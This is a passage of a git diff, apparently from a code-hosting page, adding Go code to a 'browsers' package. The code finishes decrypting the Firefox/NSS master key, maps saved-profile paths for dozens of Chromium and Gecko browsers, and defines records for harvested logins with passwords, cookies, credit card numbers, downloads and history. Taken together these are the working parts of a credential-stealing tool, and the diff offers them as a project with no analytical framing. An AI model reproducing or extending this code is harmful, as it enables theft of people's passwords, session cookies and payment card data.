metaPBE, err := NewASN1PBE(metaBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
k, err := metaPBE.Decrypt(globalSalt, key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !bytes.Contains(k, []byte("password-check")) {
|
||||
return errors.New("password check error")
|
||||
}
|
||||
|
||||
if !bytes.Equal(nssA102, []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}) {
|
||||
return errors.New("nssA102 error")
|
||||
}
|
||||
|
||||
nssPBE, err := NewASN1PBE(nssA11)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
finallyKey, err := nssPBE.Decrypt(globalSalt, key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
g.MasterKey = finallyKey[:24]
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package browsers
|
||||
|
||||
func GetChromiumBrowsers() map[string]string {
|
||||
return map[string]string{
|
||||
"Chromium": "AppData\\Local\\Chromium\\User Data",
|
||||
"Thorium": "AppData\\Local\\Thorium\\User Data",
|
||||
"Chrome": "AppData\\Local\\Google\\Chrome\\User Data",
|
||||
"Chrome (x86)": "AppData\\Local\\Google(x86)\\Chrome\\User Data",
|
||||
"Chrome SxS": "AppData\\Local\\Google\\Chrome SxS\\User Data",
|
||||
"Maple": "AppData\\Local\\MapleStudio\\ChromePlus\\User Data",
|
||||
"Iridium": "AppData\\Local\\Iridium\\User Data",
|
||||
"7Star": "AppData\\Local\\7Star\\7Star\\User Data",
|
||||
"CentBrowser": "AppData\\Local\\CentBrowser\\User Data",
|
||||
"Chedot": "AppData\\Local\\Chedot\\User Data",
|
||||
"Vivaldi": "AppData\\Local\\Vivaldi\\User Data",
|
||||
"Kometa": "AppData\\Local\\Kometa\\User Data",
|
||||
"Elements": "AppData\\Local\\Elements Browser\\User Data",
|
||||
"Epic Privacy Browser": "AppData\\Local\\Epic Privacy Browser\\User Data",
|
||||
"Uran": "AppData\\Local\\uCozMedia\\Uran\\User Data",
|
||||
"Fenrir": "AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer",
|
||||
"Catalina": "AppData\\Local\\CatalinaGroup\\Citrio\\User Data",
|
||||
"Coowon": "AppData\\Local\\Coowon\\Coowon\\User Data",
|
||||
"Liebao": "AppData\\Local\\liebao\\User Data",
|
||||
"QIP Surf": "AppData\\Local\\QIP Surf\\User Data",
|
||||
"Orbitum": "AppData\\Local\\Orbitum\\User Data",
|
||||
"Dragon": "AppData\\Local\\Comodo\\Dragon\\User Data",
|
||||
"360Browser": "AppData\\Local\\360Browser\\Browser\\User Data",
|
||||
"Maxthon": "AppData\\Local\\Maxthon3\\User Data",
|
||||
"K-Melon": "AppData\\Local\\K-Melon\\User Data",
|
||||
"CocCoc": "AppData\\Local\\CocCoc\\Browser\\User Data",
|
||||
"Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data",
|
||||
"Amigo": "AppData\\Local\\Amigo\\User Data",
|
||||
"Torch": "AppData\\Local\\Torch\\User Data",
|
||||
"Sputnik": "AppData\\Local\\Sputnik\\Sputnik\\User Data",
|
||||
"Edge": "AppData\\Local\\Microsoft\\Edge\\User Data",
|
||||
"DCBrowser": "AppData\\Local\\DCBrowser\\User Data",
|
||||
"Yandex": "AppData\\Local\\Yandex\\YandexBrowser\\User Data",
|
||||
"UR Browser": "AppData\\Local\\UR Browser\\User Data",
|
||||
"Slimjet": "AppData\\Local\\Slimjet\\User Data",
|
||||
"Opera": "AppData\\Roaming\\Opera Software\\Opera Stable",
|
||||
"OperaGX": "AppData\\Roaming\\Opera Software\\Opera GX Stable",
|
||||
}
|
||||
}
|
||||
|
||||
func GetGeckoBrowsers() map[string]string {
|
||||
return map[string]string{
|
||||
"Firefox": "AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
|
||||
"SeaMonkey": "AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles",
|
||||
"Waterfox": "AppData\\Roaming\\Waterfox\\Profiles",
|
||||
"K-Meleon": "AppData\\Roaming\\K-Meleon\\Profiles",
|
||||
"Thunderbird": "AppData\\Roaming\\Thunderbird\\Profiles",
|
||||
"IceDragon": "AppData\\Roaming\\Comodo\\IceDragon\\Profiles",
|
||||
"Cyberfox": "AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles",
|
||||
"BlackHaw": "AppData\\Roaming\\NETGATE Technologies\\BlackHaw\\Profiles",
|
||||
"Pale Moon": "AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles",
|
||||
"Mercury": "AppData\\Roaming\\mercury\\Profiles",
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package browsers
|
||||
|
||||
type Chromium struct {
|
||||
MasterKey []byte
|
||||
}
|
||||
|
||||
type Gecko struct {
|
||||
MasterKey []byte
|
||||
}
|
||||
|
||||
type Browser struct {
|
||||
Name string
|
||||
Path string
|
||||
User string
|
||||
}
|
||||
|
||||
type Profile struct {
|
||||
Name string
|
||||
Path string
|
||||
Browser Browser
|
||||
|
||||
Logins []Login
|
||||
Cookies []Cookie
|
||||
CreditCards []CreditCard
|
||||
Downloads []Download
|
||||
History []History
|
||||
}
|
||||
|
||||
type Login struct {
|
||||
Username string
|
||||
Password string
|
||||
LoginURL string
|
||||
}
|
||||
|
||||
type Cookie struct {
|
||||
Host string
|
||||
Name string
|
||||
Path string
|
||||
Value string
|
||||
ExpireDate int64
|
||||
}
|
||||
|
||||
type CreditCard struct {
|
||||
GUID string
|
||||
Name string
|
||||
ExpirationYear string
|
||||
ExpirationMonth string
|
||||
Number string
|
||||
Address string
|
||||
Nickname string
|
||||
}
|
||||
|
||||
type Download struct {
|
||||
TargetPath string
|
||||
URL string
|
||||
}
|
||||
|
||||
type History struct {
|
||||
Title string
|
||||
URL string
|
||||
VisitCount int
|
||||
LastVisitTime int64
|
||||
}
|
||||
Reference in New Issue
Block a user